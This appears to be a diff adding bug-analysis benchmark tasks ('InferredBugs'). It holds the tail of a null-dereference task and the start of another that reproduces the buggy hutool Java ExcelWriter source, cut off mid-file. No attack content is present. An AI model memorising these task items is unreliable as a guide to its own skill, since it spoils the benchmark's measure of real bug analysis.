+com.coremedia.iso.boxes.mdat.SampleList.getOffsets(com.coremedia.iso.boxes.fragment.MovieFragmentBox.c34b7cdb9feedcbc08159fd30d5e5354
+
+### File:
+src/main/java/com/coremedia/iso/boxes/mdat/SampleList.java
+
+### Key:
+SampleList.java|getOffsets|NULL_DEREFERENCE
+
+### Node Key:
+4e40cf4b057cfc6102ca2104f1fe79e1
+
+### Hash:
+f7aa0169cda5ed22b81059203610131c
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-4350/instruction.md b/inferredbugs-4350/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..0f0ab6883dce1ebe1249ff53df4ec143be85eddb
--- /dev/null
+++ b/inferredbugs-4350/instruction.md
@@ -0,0 +1,1129 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** hutool
+**Bug ID:** 8
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package cn.hutool.poi.excel;
+
+import java.io.File;
+import java.io.IOException;
+import java.io.OutputStream;
+import java.nio.charset.Charset;
+import java.util.Comparator;
+import java.util.LinkedHashMap;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+import java.util.TreeMap;
+import java.util.concurrent.atomic.AtomicInteger;
+
+import org.apache.poi.hssf.usermodel.DVConstraint;
+import org.apache.poi.hssf.usermodel.HSSFDataValidation;
+import org.apache.poi.ss.usermodel.Cell;
+import org.apache.poi.ss.usermodel.CellStyle;
+import org.apache.poi.ss.usermodel.DataValidation;
+import org.apache.poi.ss.usermodel.Font;
+import org.apache.poi.ss.usermodel.HeaderFooter;
+import org.apache.poi.ss.usermodel.Row;
+import org.apache.poi.ss.usermodel.Sheet;
+import org.apache.poi.ss.usermodel.Workbook;
+import org.apache.poi.ss.util.CellRangeAddressList;
+import org.apache.poi.xssf.usermodel.XSSFDataValidationConstraint;
+import org.apache.poi.xssf.usermodel.XSSFDataValidationHelper;
+import org.apache.poi.xssf.usermodel.XSSFSheet;
+
+import cn.hutool.core.bean.BeanUtil;
+import cn.hutool.core.collection.CollUtil;
+import cn.hutool.core.comparator.IndexedComparator;
+import cn.hutool.core.io.FileUtil;
+import cn.hutool.core.io.IORuntimeException;
+import cn.hutool.core.io.IoUtil;
+import cn.hutool.core.lang.Assert;
+import cn.hutool.core.map.MapUtil;
+import cn.hutool.core.util.CharsetUtil;
+import cn.hutool.core.util.IdUtil;
+import cn.hutool.core.util.StrUtil;
+import cn.hutool.core.util.URLUtil;
+import cn.hutool.poi.excel.cell.CellUtil;
+import cn.hutool.poi.excel.style.Align;
+
+/**
+ * Excel 写入器<br>
+ * 此工具用于通过POI将数据写出到Excel，此对象可完成以下两个功能
+ * 
+ * <pre>
+ * 1. 编辑已存在的Excel，可写出原Excel文件，也可写出到其它地方（到文件或到流）
+ * 2. 新建一个空的Excel工作簿，完成数据填充后写出（到文件或到流）
+ * </pre>
+ * 
+ * @author Looly
+ * @since 3.2.0
+ */
+public class ExcelWriter extends ExcelBase<ExcelWriter> {
+
+	/** 目标文件 */
+	protected File destFile;
+	/** 当前行 */
+	private AtomicInteger currentRow = new AtomicInteger(0);
+	/** 标题行别名 */
+	private Map<String, String> headerAlias;
+	/** 是否只保留别名对应的字段 */
+	private boolean onlyAlias;
+	/** 标题顺序比较器 */
+	private Comparator<String> aliasComparator;
+	/** 样式集，定义不同类型数据样式 */
+	private StyleSet styleSet;
+
+	// -------------------------------------------------------------------------- Constructor start
+	/**
+	 * 构造，默认生成xls格式的Excel文件<br>
+	 * 此构造不传入写出的Excel文件路径，只能调用{@link #flush(OutputStream)}方法写出到流<br>
+	 * 若写出到文件，还需调用{@link #setDestFile(File)}方法自定义写出的文件，然后调用{@link #flush()}方法写出到文件
+	 * 
+	 * @since 3.2.1
+	 */
+	public ExcelWriter() {
+		this(false);
+	}
+
+	/**
+	 * 构造<br>
+	 * 此构造不传入写出的Excel文件路径，只能调用{@link #flush(OutputStream)}方法写出到流<br>
+	 * 若写出到文件，需要调用{@link #flush(File)} 写出到文件
+	 * 
+	 * @param isXlsx 是否为xlsx格式
+	 * @since 3.2.1
+	 */
+	public ExcelWriter(boolean isXlsx) {
+		this(WorkbookUtil.createBook(isXlsx), null);
+	}
+
+	/**
+	 * 构造，默认写出到第一个sheet，第一个sheet名为sheet1
+	 * 
+	 * @param destFilePath 目标文件路径，可以不存在
+	 */
+	public ExcelWriter(String destFilePath) {
+		this(destFilePath, null);
+	}
+
+	/**
+	 * 构造<br>
+	 * 此构造不传入写出的Excel文件路径，只能调用{@link #flush(OutputStream)}方法写出到流<br>
+	 * 若写出到文件，需要调用{@link #flush(File)} 写出到文件
+	 * 
+	 * @param isXlsx 是否为xlsx格式
+	 * @param sheetName sheet名，第一个sheet名并写出到此sheet，例如sheet1
+	 * @since 4.1.8
+	 */
+	public ExcelWriter(boolean isXlsx, String sheetName) {
+		this(WorkbookUtil.createBook(isXlsx), sheetName);
+	}
+
+	/**
+	 * 构造
+	 * 
+	 * @param destFilePath 目标文件路径，可以不存在
+	 * @param sheetName sheet名，第一个sheet名并写出到此sheet，例如sheet1
+	 */
+	public ExcelWriter(String destFilePath, String sheetName) {
+		this(FileUtil.file(destFilePath), sheetName);
+	}
+
+	/**
+	 * 构造，默认写出到第一个sheet，第一个sheet名为sheet1
+	 * 
+	 * @param destFile 目标文件，可以不存在
+	 */
+	public ExcelWriter(File destFile) {
+		this(destFile, null);
+	}
+
+	/**
+	 * 构造
+	 * 
+	 * @param destFile 目标文件，可以不存在
+	 * @param sheetName sheet名，做为第一个sheet名并写出到此sheet，例如sheet1
+	 */
+	public ExcelWriter(File destFile, String sheetName) {
+		this(WorkbookUtil.createBookForWriter(destFile), sheetName);
+		this.destFile = destFile;
+	}
+
+	/**
+	 * 构造<br>
+	 * 此构造不传入写出的Excel文件路径，只能调用{@link #flush(OutputStream)}方法写出到流<br>
+	 * 若写出到文件，还需调用{@link #setDestFile(File)}方法自定义写出的文件，然后调用{@link #flush()}方法写出到文件
+	 * 
+	 * @param workbook {@link Workbook}
+	 * @param sheetName sheet名，做为第一个sheet名并写出到此sheet，例如sheet1
+	 */
+	public ExcelWriter(Workbook workbook, String sheetName) {
+		this(WorkbookUtil.getOrCreateSheet(workbook, sheetName));
+	}
+
+	/**
+	 * 构造<br>
+	 * 此构造不传入写出的Excel文件路径，只能调用{@link #flush(OutputStream)}方法写出到流<br>
+	 * 若写出到文件，还需调用{@link #setDestFile(File)}方法自定义写出的文件，然后调用{@link #flush()}方法写出到文件
+	 * 
+	 * @param sheet {@link Sheet}
+	 * @since 4.0.6
+	 */
+	public ExcelWriter(Sheet sheet) {
+		super(sheet);
+		this.styleSet = new StyleSet(workbook);
+	}
+
+	// -------------------------------------------------------------------------- Constructor end
+
+	@Override
+	public ExcelWriter setSheet(int sheetIndex) {
+		// 切换到新sheet需要重置开始行
+		reset();
+		return super.setSheet(sheetIndex);
+	}
+
+	@Override
+	public ExcelWriter setSheet(String sheetName) {
+		// 切换到新sheet需要重置开始行
+		reset();
+		return super.setSheet(sheetName);
+	}
+
+	/**
+	 * 重置Writer，包括：
+	 * 
+	 * <pre>
+	 * 1. 当前行游标归零
+	 * 2. 清空别名比较器
+	 * </pre>
+	 * 
+	 * @return this
+	 */
+	public ExcelWriter reset() {
+		resetRow();
+		this.aliasComparator = null;
+		return this;
+	}
+
+	/**
+	 * 重命名当前sheet
+	 * 
+	 * @param sheetName 新的sheet名
+	 * @return this
+	 * @since 4.1.8
+	 */
+	public ExcelWriter renameSheet(String sheetName) {
+		return renameSheet(this.workbook.getSheetIndex(this.sheet), sheetName);
+	}
+
+	/**
+	 * 重命名sheet
+	 * 
+	 * @param sheet sheet需要，0表示第一个sheet
+	 * @param sheetName 新的sheet名
+	 * @return this
+	 * @since 4.1.8
+	 */
+	public ExcelWriter renameSheet(int sheet, String sheetName) {
+		this.workbook.setSheetName(sheet, sheetName);
+		return this;
+	}
+
+	/**
+	 * 设置所有列为自动宽度，不考虑合并单元格<br>
+	 * 此方法必须在指定列数据完全写出后调用才有效。<br>
+	 * 列数计算是通过第一行计算的
+	 * 
+	 * @return this
+	 * @since 4.0.12
+	 */
+	public ExcelWriter autoSizeColumnAll() {
+		final int columnCount = this.getColumnCount();
+		for (int i = 0; i < columnCount; i++) {
+			autoSizeColumn(i);
+		}
+		return this;
+	}
+
+	/**
+	 * 设置某列为自动宽度，不考虑合并单元格<br>
+	 * 此方法必须在指定列数据完全写出后调用才有效。
+	 * 
+	 * @param columnIndex 第几列，从0计数
+	 * @return this
+	 * @since 4.0.12
+	 */
+	public ExcelWriter autoSizeColumn(int columnIndex) {
+		this.sheet.autoSizeColumn(columnIndex);
+		return this;
+	}
+
+	/**
+	 * 设置某列为自动宽度<br>
+	 * 此方法必须在指定列数据完全写出后调用才有效。
+	 * 
+	 * @param columnIndex 第几列，从0计数
+	 * @param useMergedCells 是否适用于合并单元格
+	 * @return this
+	 * @since 3.3.0
+	 */
+	public ExcelWriter autoSizeColumn(int columnIndex, boolean useMergedCells) {
+		this.sheet.autoSizeColumn(columnIndex, useMergedCells);
+		return this;
+	}
+	
+	/**
+	 * 禁用默认样式
+	 * 
+	 * @return this
+	 * @see #setStyleSet(StyleSet)
+	 * @since 4.6.3
+	 */
+	public ExcelWriter disableDefaultStyle() {
+		return setStyleSet(null);
+	}
+
+	/**
+	 * 设置样式集，如果不使用样式，传入{@code null}
+	 * 
+	 * @param styleSet 样式集，{@code null}表示无样式
+	 * @return this
+	 * @since 4.1.11
+	 */
+	public ExcelWriter setStyleSet(StyleSet styleSet) {
+		this.styleSet = styleSet;
+		return this;
+	}
+
+	/**
+	 * 获取样式集，样式集可以自定义包括：<br>
+	 * 
+	 * <pre>
+	 * 1. 头部样式
+	 * 2. 一般单元格样式
+	 * 3. 默认数字样式
+	 * 4. 默认日期样式
+	 * </pre>
+	 * 
+	 * @return 样式集
+	 * @since 4.0.0
+	 */
+	public StyleSet getStyleSet() {
+		return this.styleSet;
+	}
+
+	/**
+	 * 获取头部样式，获取样式后可自定义样式
+	 * 
+	 * @return 头部样式
+	 */
+	public CellStyle getHeadCellStyle() {
+		return this.styleSet.headCellStyle;
+	}
+
+	/**
+	 * 获取单元格样式，获取样式后可自定义样式
+	 * 
+	 * @return 单元格样式
+	 */
+	public CellStyle getCellStyle() {
+		return this.styleSet.cellStyle;
+	}
+
+	/**
+	 * 获得当前行
+	 * 
+	 * @return 当前行
+	 */
+	public int getCurrentRow() {
+		return this.currentRow.get();
+	}
+	
+	/**
+	 * 获取Content-Disposition头对应的值，可以通过调用以下方法快速设置下载Excel的头信息：
+	 * 
+	 * <pre>
+	 * response.setHeader("Content-Disposition", excelWriter.getDisposition("test.xlsx", CharsetUtil.CHARSET_UTF_8));
+	 * </pre>
+	 * 
+	 * @param fileName 文件名，如果文件名没有扩展名，会自动按照生成Excel类型补齐扩展名，如果提供空，使用随机UUID
+	 * @param charset 编码，null则使用默认UTF-8编码
+	 * @return Content-Disposition值
+	 */
+	public String getDisposition(String fileName, Charset charset) {
+		if(null == charset) {
+			charset = CharsetUtil.CHARSET_UTF_8;
+		}
+		
+		if(StrUtil.isBlank(fileName)) {
+			// 未提供文件名使用随机UUID作为文件名
+			fileName = IdUtil.fastSimpleUUID();
+		}
+		
+		fileName = StrUtil.addSuffixIfNot(URLUtil.encodeAll(fileName, charset), isXlsx() ? ".xlsx" : ".xls");
+		return StrUtil.format("attachment; filename=\"{}\"; filename*={}''{}", fileName, charset.name(), fileName);
+	}
+
+	/**
+	 * 设置当前所在行
+	 * 
+	 * @param rowIndex 行号
+	 * @return this
+	 */
+	public ExcelWriter setCurrentRow(int rowIndex) {
+		this.currentRow.set(rowIndex);
+		return this;
+	}
+
+	/**
+	 * 跳过当前行
+	 * 
+	 * @return this
+	 */
+	public ExcelWriter passCurrentRow() {
+		this.currentRow.incrementAndGet();
+		return this;
+	}
+
+	/**
+	 * 跳过指定行数
+	 * 
+	 * @param rows 跳过的行数
+	 * @return this
+	 */
+	public ExcelWriter passRows(int rows) {
+		this.currentRow.addAndGet(rows);
+		return this;
+	}
+
+	/**
+	 * 重置当前行为0
+	 * 
+	 * @return this
+	 */
+	public ExcelWriter resetRow() {
+		this.currentRow.set(0);
+		return this;
+	}
+
+	/**
+	 * 设置写出的目标文件
+	 * 
+	 * @param destFile 目标文件
+	 * @return this
+	 */
+	public ExcelWriter setDestFile(File destFile) {
+		this.destFile = destFile;
+		return this;
+	}
+
+	/**
+	 * 设置标题别名，key为Map中的key，value为别名
+	 * 
+	 * @param headerAlias 标题别名
+	 * @return this
+	 * @since 3.2.1
+	 */
+	public ExcelWriter setHeaderAlias(Map<String, String> headerAlias) {
+		this.headerAlias = headerAlias;
+		return this;
+	}
+
+	/**
+	 * 清空标题别名，key为Map中的key，value为别名
+	 * 
+	 * @return this
+	 * @since 4.5.4
+	 */
+	public ExcelWriter clearHeaderAlias() {
+		this.headerAlias = null;
+		return this;
+	}
+
+	/**
+	 * 设置是否只保留别名中的字段值，如果为true，则不设置alias的字段将不被输出，false表示原样输出
+	 * 
+	 * @param isOnlyAlias 是否只保留别名中的字段值
+	 * @return this
+	 * @since 4.1.22
+	 */
+	public ExcelWriter setOnlyAlias(boolean isOnlyAlias) {
+		this.onlyAlias = isOnlyAlias;
+		return this;
+	}
+
+	/**
+	 * 增加标题别名
+	 * 
+	 * @param name 原标题
+	 * @param alias 别名
+	 * @return this
+	 * @since 4.1.5
+	 */
+	public ExcelWriter addHeaderAlias(String name, String alias) {
+		Map<String, String> headerAlias = this.headerAlias;
+		if (null == headerAlias) {
+			headerAlias = new LinkedHashMap<>();
+		}
+		this.headerAlias = headerAlias;
+		headerAlias.put(name, alias);
+		return this;
+	}
+
+	/**
+	 * 设置列宽（单位为一个字符的宽度，例如传入width为10，表示10个字符的宽度）
+	 * 
+	 * @param columnIndex 列号（从0开始计数，-1表示所有列的默认宽度）
+	 * @param width 宽度（单位1~256个字符宽度）
+	 * @return this
+	 * @since 4.0.8
+	 */
+	public ExcelWriter setColumnWidth(int columnIndex, int width) {
+		if (columnIndex < 0) {
+			this.sheet.setDefaultColumnWidth(width);
+		} else {
+			this.sheet.setColumnWidth(columnIndex, width * 256);
+		}
+		return this;
+	}
+	
+	/**
+	 * 设置默认行高，值为一个点的高度
+	 * 
+	 * @param height 高度
+	 * @return this
+	 * @since 4.6.5
+	 */
+	public ExcelWriter setDefaultRowHeight(int height) {
+		return setRowHeight(-1, height);
+	}
+
+	/**
+	 * 设置行高，值为一个点的高度
+	 * 
+	 * @param rownum 行号（从0开始计数，-1表示所有行的默认高度）
+	 * @param height 高度
+	 * @return this
+	 * @since 4.0.8
+	 */
+	public ExcelWriter setRowHeight(int rownum, int height) {
+		if (rownum < 0) {
+			this.sheet.setDefaultRowHeightInPoints(height);
+		} else {
+			final Row row = this.sheet.getRow(rownum);
+			if (null != row) {
+				row.setHeightInPoints(height);
+			}
+		}
+		return this;
+	}
+
+	/**
+	 * 设置Excel页眉或页脚
+	 * 
+	 * @param text 页脚的文本
+	 * @param align 对齐方式枚举 {@link Align}
+	 * @param isFooter 是否为页脚，false表示页眉，true表示页脚
+	 * @return this
+	 * @since 4.1.0
+	 */
+	public ExcelWriter setHeaderOrFooter(String text, Align align, boolean isFooter) {
+		final HeaderFooter headerFooter = isFooter ? this.sheet.getFooter() : this.sheet.getHeader();
+		switch (align) {
+		case LEFT:
+			headerFooter.setLeft(text);
+			break;
+		case RIGHT:
+			headerFooter.setRight(text);
+			break;
+		case CENTER:
+			headerFooter.setCenter(text);
+			break;
+		default:
+			break;
+		}
+		return this;
+	}
+	
+	/**
+	 * 增加下拉列表
+	 * 
+	 * @param x x坐标，列号，从0开始
+	 * @param y y坐标，行号，从0开始
+	 * @param selectList 下拉列表
+	 * @return this
+	 * @since 4.6.2
+	 */
+	public ExcelWriter addSelect(int x, int y, String... selectList) {
+		return addSelect(new CellRangeAddressList(y, y, x, x), selectList);
+	}
+
+	/**
+	 * 增加下拉列表
+	 * 
+	 * @param regions {@link CellRangeAddressList} 指定下拉列表所占的单元格范围
+	 * @param selectList 下拉列表内容
+	 * @return this
+	 * @since 4.6.2
+	 */
+	public ExcelWriter addSelect(CellRangeAddressList regions, String... selectList) {
+		final DVConstraint constraint = DVConstraint.createExplicitListConstraint(selectList);
+		
+		// 绑定
+		DataValidation dataValidation;
+		
+		if(this.sheet instanceof XSSFSheet) {
+			final XSSFDataValidationHelper dvHelper = new XSSFDataValidationHelper((XSSFSheet)sheet);
+			final XSSFDataValidationConstraint dvConstraint = (XSSFDataValidationConstraint) dvHelper.createExplicitListConstraint(selectList);
+			dataValidation = dvHelper.createValidation(dvConstraint, regions);
+		} else {
+			dataValidation = new HSSFDataValidation(regions, constraint);
+		}
+		
+		dataValidation.setSuppressDropDownArrow(true);
+		dataValidation.setShowErrorBox(true);
+		
+		return addValidationData(dataValidation);
+	}
+
+	/**
+	 * 增加单元格控制，比如下拉列表、日期验证、数字范围验证等
+	 * 
+	 * @param dataValidation {@link DataValidation}
+	 * @return this
+	 * @since 4.6.2
+	 */
+	public ExcelWriter addValidationData(DataValidation dataValidation) {
+		this.sheet.addValidationData(dataValidation);
+		return this;
+	}
+
+	/**
+	 * 合并当前行的单元格<br>
+	 * 样式为默认标题样式，可使用{@link #getHeadCellStyle()}方法调用后自定义默认样式
+	 * 
+	 * @param lastColumn 合并到的最后一个列号
+	 * @return this
+	 */
+	public ExcelWriter merge(int lastColumn) {
+		return merge(lastColumn, null);
+	}
+
+	/**
+	 * 合并当前行的单元格，并写入对象到单元格<br>
+	 * 如果写到单元格中的内容非null，行号自动+1，否则当前行号不变<br>
+	 * 样式为默认标题样式，可使用{@link #getHeadCellStyle()}方法调用后自定义默认样式
+	 * 
+	 * @param lastColumn 合并到的最后一个列号
+	 * @param content 合并单元格后的内容
+	 * @return this
+	 */
+	public ExcelWriter merge(int lastColumn, Object content) {
+		return merge(lastColumn, content, true);
+	}
+
+	/**
+	 * 合并某行的单元格，并写入对象到单元格<br>
+	 * 如果写到单元格中的内容非null，行号自动+1，否则当前行号不变<br>
+	 * 样式为默认标题样式，可使用{@link #getHeadCellStyle()}方法调用后自定义默认样式
+	 * 
+	 * @param lastColumn 合并到的最后一个列号
+	 * @param content 合并单元格后的内容
+	 * @param isSetHeaderStyle 是否为合并后的单元格设置默认标题样式
+	 * @return this
+	 * @since 4.0.10
+	 */
+	public ExcelWriter merge(int lastColumn, Object content, boolean isSetHeaderStyle) {
+		Assert.isFalse(this.isClosed, "ExcelWriter has been closed!");
+
+		final int rowIndex = this.currentRow.get();
+		merge(rowIndex, rowIndex, 0, lastColumn, content, isSetHeaderStyle);
+
+		// 设置内容后跳到下一行
+		if (null != content) {
+			this.currentRow.incrementAndGet();
+		}
+		return this;
+	}
+
+	/**
+	 * 合并某行的单元格，并写入对象到单元格<br>
+	 * 如果写到单元格中的内容非null，行号自动+1，否则当前行号不变<br>
+	 * 样式为默认标题样式，可使用{@link #getHeadCellStyle()}方法调用后自定义默认样式
+	 *
+	 * @param firstRow 起始行，0开始
+	 * @param lastRow 结束行，0开始
+	 * @param firstColumn 起始列，0开始
+	 * @param lastColumn 结束列，0开始
+	 * @param content 合并单元格后的内容
+	 * @param isSetHeaderStyle 是否为合并后的单元格设置默认标题样式
+	 * @return this
+	 * @since 4.0.10
+	 */
+	public ExcelWriter merge(int firstRow, int lastRow, int firstColumn, int lastColumn, Object content, boolean isSetHeaderStyle) {
+		Assert.isFalse(this.isClosed, "ExcelWriter has been closed!");
+
+		CellStyle style = null;
+		if(null != this.styleSet){
+			style = (isSetHeaderStyle && null != this.styleSet.headCellStyle) ? this.styleSet.headCellStyle : this.styleSet.cellStyle;
+		}
+		CellUtil.mergingCells(this.sheet, firstRow, lastRow, firstColumn, lastColumn, style);
+
+		// 设置内容
+		if (null != content) {
+			final Cell cell = getOrCreateCell(firstColumn, firstRow);
+			CellUtil.setCellValue(cell, content, this.styleSet, isSetHeaderStyle);
+		}
+		return this;
+	}
+
+	/**
+	 * 写出数据，本方法只是将数据写入Workbook中的Sheet，并不写出到文件<br>
+	 * 写出的起始行为当前行号，可使用{@link #getCurrentRow()}方法调用，根据写出的的行数，当前行号自动增加<br>
+	 * 样式为默认样式，可使用{@link #getCellStyle()}方法调用后自定义默认样式<br>
+	 * 默认的，当当前行号为0时，写出标题（如果为Map或Bean），否则不写标题
+	 * 
+	 * <p>
+	 * data中元素支持的类型有：
+	 * 
+	 * <pre>
+	 * 1. Iterable，即元素为一个集合，元素被当作一行，data表示多行<br>
+	 * 2. Map，即元素为一个Map，第一个Map的keys作为首行，剩下的行为Map的values，data表示多行 <br>
+	 * 3. Bean，即元素为一个Bean，第一个Bean的字段名列表会作为首行，剩下的行为Bean的字段值列表，data表示多行 <br>
+	 * 4. 其它类型，按照基本类型输出（例如字符串）
+	 * </pre>
+	 * 
+	 * @param data 数据
+	 * @return this
+	 */
+	public ExcelWriter write(Iterable<?> data) {
+		return write(data, 0 == getCurrentRow());
+	}
+
+	/**
+	 * 写出数据，本方法只是将数据写入Workbook中的Sheet，并不写出到文件<br>
+	 * 写出的起始行为当前行号，可使用{@link #getCurrentRow()}方法调用，根据写出的的行数，当前行号自动增加<br>
+	 * 样式为默认样式，可使用{@link #getCellStyle()}方法调用后自定义默认样式
+	 * 
+	 * <p>
+	 * data中元素支持的类型有：
+	 * 
+	 * <pre>
+	 * 1. Iterable，即元素为一个集合，元素被当作一行，data表示多行<br>
+	 * 2. Map，即元素为一个Map，第一个Map的keys作为首行，剩下的行为Map的values，data表示多行 <br>
+	 * 3. Bean，即元素为一个Bean，第一个Bean的字段名列表会作为首行，剩下的行为Bean的字段值列表，data表示多行 <br>
+	 * 4. 其它类型，按照基本类型输出（例如字符串）
+	 * </pre>
+	 * 
+	 * @param data 数据
+	 * @param isWriteKeyAsHead 是否强制写出标题行（Map或Bean）
+	 * @return this
+	 */
+	public ExcelWriter write(Iterable<?> data, boolean isWriteKeyAsHead) {
+		Assert.isFalse(this.isClosed, "ExcelWriter has been closed!");
+		boolean isFirst = true;
+		for (Object object : data) {
+			writeRow(object, isFirst && isWriteKeyAsHead);
+			if (isFirst) {
+				isFirst = false;
+			}
+		}
+		return this;
+	}
+
+	/**
+	 * 写出数据，本方法只是将数据写入Workbook中的Sheet，并不写出到文件<br>
+	 * 写出的起始行为当前行号，可使用{@link #getCurrentRow()}方法调用，根据写出的的行数，当前行号自动增加<br>
+	 * 样式为默认样式，可使用{@link #getCellStyle()}方法调用后自定义默认样式<br>
+	 * data中元素支持的类型有：
+	 * 
+	 * <p>
+	 * 1. Map，即元素为一个Map，第一个Map的keys作为首行，剩下的行为Map的values，data表示多行 <br>
+	 * 2. Bean，即元素为一个Bean，第一个Bean的字段名列表会作为首行，剩下的行为Bean的字段值列表，data表示多行 <br>
+	 * </p>
+	 * 
+	 * @param data 数据
+	 * @param comparator 比较器，用于字段名的排序
+	 * @return this
+	 * @since 3.2.3
+	 */
+	@SuppressWarnings({ "rawtypes", "unchecked" })
+	public ExcelWriter write(Iterable<?> data, Comparator<String> comparator) {
+		Assert.isFalse(this.isClosed, "ExcelWriter has been closed!");
+		boolean isFirstRow = true;
+		Map<?, ?> map;
+		for (Object obj : data) {
+			if (obj instanceof Map) {
+				map = new TreeMap<>(comparator);
+				map.putAll((Map) obj);
+			} else {
+				map = BeanUtil.beanToMap(obj, new TreeMap<>(comparator), false, false);
+			}
+			writeRow(map, isFirstRow);
+			if (isFirstRow) {
+				isFirstRow = false;
+			}
+		}
+		return this;
+	}
+
+	/**
+	 * 写出一行标题数据<br>
+	 * 本方法只是将数据写入Workbook中的Sheet，并不写出到文件<br>
+	 * 写出的起始行为当前行号，可使用{@link #getCurrentRow()}方法调用，根据写出的的行数，当前行号自动+1<br>
+	 * 样式为默认标题样式，可使用{@link #getHeadCellStyle()}方法调用后自定义默认样式
+	 * 
+	 * @param rowData 一行的数据
+	 * @return this
+	 */
+	public ExcelWriter writeHeadRow(Iterable<?> rowData) {
+		Assert.isFalse(this.isClosed, "ExcelWriter has been closed!");
+		RowUtil.writeRow(this.sheet.createRow(this.currentRow.getAndIncrement()), rowData, this.styleSet, true);
+		return this;
+	}
+
+	/**
+	 * 写出一行，根据rowBean数据类型不同，写出情况如下：
+	 * 
+	 * <pre>
+	 * 1、如果为Iterable，直接写出一行
+	 * 2、如果为Map，isWriteKeyAsHead为true写出两行，Map的keys做为一行，values做为第二行，否则只写出一行values
+	 * 3、如果为Bean，转为Map写出，isWriteKeyAsHead为true写出两行，Map的keys做为一行，values做为第二行，否则只写出一行values
+	 * </pre>
+	 * 
+	 * @param rowBean 写出的Bean
+	 * @param isWriteKeyAsHead 为true写出两行，Map的keys做为一行，values做为第二行，否则只写出一行values
+	 * @return this
+	 * @see #writeRow(Iterable)
+	 * @see #writeRow(Map, boolean)
+	 * @since 4.1.5
+	 */
+	@SuppressWarnings({"rawtypes", "unchecked"})
+	public ExcelWriter writeRow(Object rowBean, boolean isWriteKeyAsHead) {
+		if (rowBean instanceof Iterable) {
+			return writeRow((Iterable<?>) rowBean);
+		}
+		Map rowMap;
+		if (rowBean instanceof Map) {
+			if (MapUtil.isNotEmpty(this.headerAlias)) {
+				rowMap = MapUtil.newTreeMap((Map) rowBean, getInitedAliasComparator());
+			} else {
+				rowMap = (Map) rowBean;
+			}
+		} else if (BeanUtil.isBean(rowBean.getClass())) {
+			if (MapUtil.isEmpty(this.headerAlias)) {
+				rowMap = BeanUtil.beanToMap(rowBean, new LinkedHashMap<>(), false, false);
+			} else {
+				// 别名存在情况下按照别名的添加顺序排序Bean数据
+				rowMap = BeanUtil.beanToMap(rowBean, new TreeMap<>(getInitedAliasComparator()), false, false);
+			}
+		} else {
+			// 其它转为字符串默认输出
+			return writeRow(CollUtil.newArrayList(rowBean), isWriteKeyAsHead);
+		}
+		return writeRow(rowMap, isWriteKeyAsHead);
+	}
+
+	/**
+	 * 将一个Map写入到Excel，isWriteKeyAsHead为true写出两行，Map的keys做为一行，values做为第二行，否则只写出一行values<br>
+	 * 如果rowMap为空（包括null），则写出空行
+	 * 
+	 * @param rowMap 写出的Map，为空（包括null），则写出空行
+	 * @param isWriteKeyAsHead 为true写出两行，Map的keys做为一行，values做为第二行，否则只写出一行values
+	 * @return this
+	 */
+	public ExcelWriter writeRow(Map<?, ?> rowMap, boolean isWriteKeyAsHead) {
+		Assert.isFalse(this.isClosed, "ExcelWriter has been closed!");
+		if (MapUtil.isEmpty(rowMap)) {
+			// 如果写出数据为null或空，跳过当前行
+			return passCurrentRow();
+		}
+
+		final Map<?, ?> aliasMap = aliasMap(rowMap);
+
+		if (isWriteKeyAsHead) {
+			writeHeadRow(aliasMap.keySet());
+		}
+		writeRow(aliasMap.values());
+		return this;
+	}
+
+	/**
+	 * 写出一行数据<br>
+	 * 本方法只是将数据写入Workbook中的Sheet，并不写出到文件<br>
+	 * 写出的起始行为当前行号，可使用{@link #getCurrentRow()}方法调用，根据写出的的行数，当前行号自动+1<br>
+	 * 样式为默认样式，可使用{@link #getCellStyle()}方法调用后自定义默认样式
+	 * 
+	 * @param rowData 一行的数据
+	 * @return this
+	 */
+	public ExcelWriter writeRow(Iterable<?> rowData) {
+		Assert.isFalse(this.isClosed, "ExcelWriter has been closed!");
+		RowUtil.writeRow(this.sheet.createRow(this.currentRow.getAndIncrement()), rowData, this.styleSet, false);
+		return this;
+	}
+
+	/**
+	 * 给指定单元格赋值，使用默认单元格样式
+	 * 
+	 * @param x X坐标，从0计数，即列号
+	 * @param y Y坐标，从0计数，即行号
+	 * @param value 值
+	 * @return this
+	 * @since 4.0.2
+	 */
+	public ExcelWriter writeCellValue(int x, int y, Object value) {
+		final Cell cell = getOrCreateCell(x, y);
+		CellUtil.setCellValue(cell, value, this.styleSet, false);
+		return this;
+	}
+
+	/**
+	 * 为指定单元格创建样式
+	 * 
+	 * @param x X坐标，从0计数，即列号
+	 * @param y Y坐标，从0计数，即行号
+	 * @return {@link CellStyle}
+	 * @since 4.0.9
+	 * @deprecated 请使用{@link #createCellStyle(int, int)}
+	 */
+	@Deprecated
+	public CellStyle createStyleForCell(int x, int y) {
+		final Cell cell = getOrCreateCell(x, y);
+		final CellStyle cellStyle = this.workbook.createCellStyle();
+		cell.setCellStyle(cellStyle);
+		return cellStyle;
+	}
+	
+	/**
+	 * 设置某个单元格的样式<br>
+	 * 此方法用于多个单元格共享样式的情况<br>
+	 * 可以调用{@link #getOrCreateCellStyle(int, int)} 方法创建或取得一个样式对象。
+	 * 
+	 * <p>
+	 * 需要注意的是，共享样式会共享同一个{@link CellStyle}，一个单元格样式改变，全部改变。
+	 *
+	 * @param style 单元格样式
+	 * @param x X坐标，从0计数，即列号
+	 * @param y Y坐标，从0计数，即行号
+	 * @return this
+	 * @since 4.6.3
+	 */
+	public ExcelWriter setStyle(CellStyle style, int x, int y) {
+		final Cell cell = getOrCreateCell(x, y);
+		cell.setCellStyle(style);
+		return this;
+	}
+
+	/**
+	 * 创建字体
+	 * 
+	 * @return 字体
+	 * @since 4.1.0
+	 */
